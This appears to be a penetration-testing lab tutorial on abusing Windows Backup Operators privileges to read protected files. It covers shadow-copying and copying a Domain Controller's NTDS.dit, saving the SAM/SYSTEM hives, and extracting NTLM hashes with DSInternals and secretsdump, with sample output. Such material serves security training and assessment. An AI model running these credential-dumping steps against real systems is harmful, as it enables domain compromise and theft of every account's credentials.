Windows Privilege Escalation — Built-in Groups (Backup Operators)

Windows servers — and especially Domain Controllers — ship with a variety of built-in groups, either present on the base OS or added when the Active Directory Domain Services role is installed. Many confer privileges that can be abused to escalate locally or across the domain. All exist from Server 2008 R2 onward except Hyper-V Administrators (introduced in Server 2012). See the Windows Privileges Overview for the general group list; this note focuses on exploiting Backup Operators.

Groups worth reviewing on every assessment:

Backup Operators
Event Log Readers
DnsAdmins
Hyper-V Administrators
Print Operators
Server Operators

Accounts land in these groups to enforce least privilege (e.g. a dedicated backup job account) instead of making more Domain/Enterprise Admins, or because a vendor application requires specific rights. Membership can also be accidental leftovers from testing a tool/script. Always enumerate membership of these groups and include it as a report appendix for the client to review.

Check current group membership with:

C:\htb> whoami /groups

Backup Operators

Membership grants SeBackupPrivilege and SeRestorePrivilege.

SeBackupPrivilege lets the holder traverse any folder and list its contents, and copy any file — even without an ACE for the user/group in the file’s ACL — but not via the standard copy command. Copying must be done programmatically with the FILE_FLAG_BACKUP_SEMANTICS flag set.

Enumerate and enable the privilege

PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\htb> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\htb> whoami /priv
...
SeBackupPrivilege             Back up files and directories  Disabled
...
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is disabled

PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is enabled

Depending on server settings, an elevated (UAC-bypassed) prompt may be required to actually hold this privilege.

Copy a protected file

PS C:\htb> cat 'C:\Confidential\2021 Contract.txt.txt'
cat : Access to the path 'C:\Confidential\2021 Contract.txt.txt' is denied.

PS C:\htb> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt.txt' .\Contract.txt
Copied 88 bytes

PS C:\htb> cat .\Contract.txt
Inlanefreight 2021 Contract
...

SeBackupPrivilegeCmdLets provides Copy-FileSeBackupPrivilege to perform this bypass.

Attacking a Domain Controller — Dumping NTDS.dit

Backup Operators can log on locally to a DC. NTDS.dit (the AD database, containing NTLM hashes for every user/computer object) is locked while the OS is running and normally inaccessible to unprivileged users. Use diskshadow to create a shadow copy of C: and expose it so the file can be read without contention:

PS C:\htb> diskshadow.exe

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

Copy NTDS.dit out of the shadow copy using the same cmdlet:

PS C:\htb> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Copied 16777216 bytes

Backing up SAM/SYSTEM Hives

SeBackupPrivilege also allows saving the registry hives needed to decrypt NTDS.dit or extract local account credentials offline (e.g. with Impacket’s secretsdump.py):

C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV
C:\htb> reg save HKLM\SAM SAM.SAV

An explicit deny ACE for the current user/group still blocks access, even with FILE_FLAG_BACKUP_SEMANTICS set.

Extracting Credentials

Option A — DSInternals (PowerShell, targeted single-account lookup):

PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
...
Secrets
  NTHash: cf3a5525ee9414229e66279623ed5c58

Option B — secretsdump.py (offline, dumps all accounts):

rnemeth@htb[/htb]$ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

Resulting hashes can be used for pass-the-hash or cracked offline with Hashcat — useful to also hand back cracking statistics/password-policy recommendations to the client.

Robocopy Alternative

robocopy supports backup-mode copying natively (/B), eliminating the need for any external cmdlet/DLL:

C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

Robocopy is a directory-replication tool built for backup jobs — multi-threaded, auto-retry, resumable, and able to diff against the destination to skip unchanged files.

Takeaways

SeBackupPrivilege/SeRestorePrivilege (from Backup Operators membership) bypass file/folder ACLs for read/write via backup semantics — but require a backup-aware copy method (cmdlet or robocopy /B), not plain copy/Get-Content.
On a DC, this is a direct path to NTDS.dit + SYSTEM hive, i.e. every domain account’s credential material.
Always enumerate whoami /groups and document membership in these built-in groups as part of findings, even when not actively abused.

Keyboard shortcuts

notebook